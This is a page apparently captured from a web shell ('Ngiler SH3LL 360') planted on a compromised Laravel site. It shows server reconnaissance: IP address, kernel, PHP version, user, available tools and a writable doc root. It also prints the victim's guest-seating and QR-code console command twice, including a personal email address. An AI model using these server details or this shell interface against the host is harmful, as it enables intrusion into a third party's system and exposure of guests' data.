ONE PIECE HACKING

Ngiler SH3LL 360
: / home / tbf / tbfguestbe.tbf.ro / app / Console / Commands /

Information Server
MySQL : OFF Perl : OFF CURL : ON WGET : OFF PKEXEC : OFF

Directive	Local Value
IP Address	89.40.16.97
System	Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User	tbf
PHP Version	7.3.33
Software	Apache
Doc root	Writable

Edit File : GuestCentralizeCommand.php \| Size : 4.27 KB
<?php namespace App\Console\Commands; use App\Models\Guest; use App\Models\GuestCentralizer; use App\Models\GuestTable; use Illuminate\Console\Command; use Illuminate\Support\Facades\Storage; use SimpleSoftwareIO\QrCode\Facades\QrCode; use Str; class GuestCentralizeCommand extends Command { /** * The name and signature of the console command. * * @var string / protected $signature = 'app:centralize-guests'; /* * The console command description. * * @var string / protected $description = 'Populate the guest centralizer table'; /* * Execute the console command. */ public function handle() { $folderPath = 'public/qrcodes'; $guestCentralizer = new GuestCentralizer(); $guestCentralizer->id = Str::uuid(); $guestCentralizer->table_number = "R7L12"; $guestCentralizer->name = "MOMENTUM"; $guestCentralizer->seat = "1"; $guestCentralizer->invitation_id = 998; $guestCentralizer->email = "danielsimionas@gmail.com"; $guestCentralizer->save(); $filename = $guestCentralizer->id . '.png'; $filePath = $folderPath .'/'. $filename; QrCode::format('png')->size(512)->generate($guestCentralizer->id, Storage::path($filePath)); dd(1); // if (Storage::exists($folderPath)) { // Storage::deleteDirectory($folderPath); // } // if (!Storage::exists($folderPath)) { // Storage::makeDirectory($folderPath, 0755, true); // } $data = GuestTable::first(); $guests = collect(); $tables = collect(); if ($data) { // GuestCentralizer::truncate(); $arrangement =json_decode($data->arrangement, true); $guests = collect(array_filter($arrangement, function ($item) { return !isset($item['category']); })); $tables = collect(array_filter($arrangement, function ($item) { return isset($item['category']); })); } // versiunea originala foreach ($guests as $key => $guest) { $data = []; $guestData = Guest::find($guest['key']); if ($guestData) { // $table =collect($tables)->firstWhere('key', $guest['table']); $guestFromDb = GuestCentralizer::where('name',$guest['name'])->first(); if($guestFromDb){ // Daca deja este salvat in baza de date si nu i s-a generat cod // atunci actualizam locul omului if($guestFromDb->status == "new"){ $guestFromDb->table_number = $this->transformTableValue($guest['table']); $guestFromDb->name = $guest['name']; $guestFromDb->seat = $guest['seat']; $guestFromDb->save(); } }else{ // daca nu exista in baza de date ii crem $guestCentralizer = new GuestCentralizer(); $guestCentralizer->id = Str::uuid(); $guestCentralizer->table_number = $this->transformTableValue($guest['table']); $guestCentralizer->name = $guest['name']; $guestCentralizer->seat = $guest['seat']; $guestCentralizer->invitation_id = $guestData->invitation_id; $guestCentralizer->email = $guestData->invitation->email; $guestCentralizer->save(); $filename = $guestCentralizer->id . '.png'; $filePath = $folderPath .'/'. $filename; QrCode::format('png')->size(512)->generate($guestCentralizer->id, Storage::path($filePath)); } } } } private function transformTableValue($tableValue) { // Transformăm `seat_R32_1` în `R32L1` if (preg_match('/^seat_(R\d+)_(\d+)$/', $tableValue, $matches)) { return $matches[1] . 'L' . $matches[2]; } return $tableValue; } } Back

Edit File : GuestCentralizeCommand.php | Size : 4.27 KB

<?php

namespace App\Console\Commands;

use App\Models\Guest;
use App\Models\GuestCentralizer;
use App\Models\GuestTable;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\Storage;
use SimpleSoftwareIO\QrCode\Facades\QrCode;
use Str;

class GuestCentralizeCommand extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'app:centralize-guests';

/**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Populate the guest centralizer table';

/**
     * Execute the console command.
     */
    public function handle()
    {
        $folderPath = 'public/qrcodes';

$guestCentralizer = new GuestCentralizer();

$guestCentralizer->id            = Str::uuid();
        $guestCentralizer->table_number  = "R7L12";
        $guestCentralizer->name          = "MOMENTUM";
        $guestCentralizer->seat          = "1";
        $guestCentralizer->invitation_id = 998;
        $guestCentralizer->email         = "danielsimionas@gmail.com";

$guestCentralizer->save();

$filename = $guestCentralizer->id . '.png';

$filePath = $folderPath .'/'. $filename;
        
        QrCode::format('png')->size(512)->generate($guestCentralizer->id, Storage::path($filePath));
        dd(1);

// if (Storage::exists($folderPath)) {
        //     Storage::deleteDirectory($folderPath);
        // }

// if (!Storage::exists($folderPath)) {
        //     Storage::makeDirectory($folderPath, 0755, true);
        // }

$data = GuestTable::first();

$guests = collect();
        $tables = collect();
        
        if ($data) {
            // GuestCentralizer::truncate();

$arrangement =json_decode($data->arrangement, true);
            
            $guests = collect(array_filter($arrangement, function ($item) {
                return !isset($item['category']);
            }));
            
            $tables = collect(array_filter($arrangement, function ($item) {
                return isset($item['category']);
            }));
        }
  
        // versiunea originala
        foreach ($guests as $key => $guest) {
            $data = [];
            $guestData = Guest::find($guest['key']);
            if ($guestData) {
                // $table =collect($tables)->firstWhere('key', $guest['table']);
                
                $guestFromDb = GuestCentralizer::where('name',$guest['name'])->first();
                if($guestFromDb){
                    // Daca deja este salvat in baza de date si nu i s-a generat cod
                    // atunci actualizam locul omului
                    if($guestFromDb->status == "new"){
                        $guestFromDb->table_number  = $this->transformTableValue($guest['table']);
                        $guestFromDb->name          = $guest['name'];
                        $guestFromDb->seat          = $guest['seat'];
                        $guestFromDb->save();
                    }
                }else{
                    // daca nu exista in baza de date ii crem
                    $guestCentralizer = new GuestCentralizer();
    
                    $guestCentralizer->id            = Str::uuid();
                    $guestCentralizer->table_number  = $this->transformTableValue($guest['table']);
                    $guestCentralizer->name          = $guest['name'];
                    $guestCentralizer->seat          = $guest['seat'];
                    $guestCentralizer->invitation_id = $guestData->invitation_id;
                    $guestCentralizer->email         = $guestData->invitation->email;
    
                    $guestCentralizer->save();
    
                    $filename = $guestCentralizer->id . '.png';
    
                    $filePath = $folderPath .'/'. $filename;
                    
                    QrCode::format('png')->size(512)->generate($guestCentralizer->id, Storage::path($filePath));
                }
            }
        }
    }
    
    private function transformTableValue($tableValue)
    {
        // Transformăm `seat_R32_1` în `R32L1`
        if (preg_match('/^seat_(R\d+)_(\d+)$/', $tableValue, $matches)) {
            return $matches[1] . 'L' . $matches[2];
        }
        return $tableValue;
    }
}

Back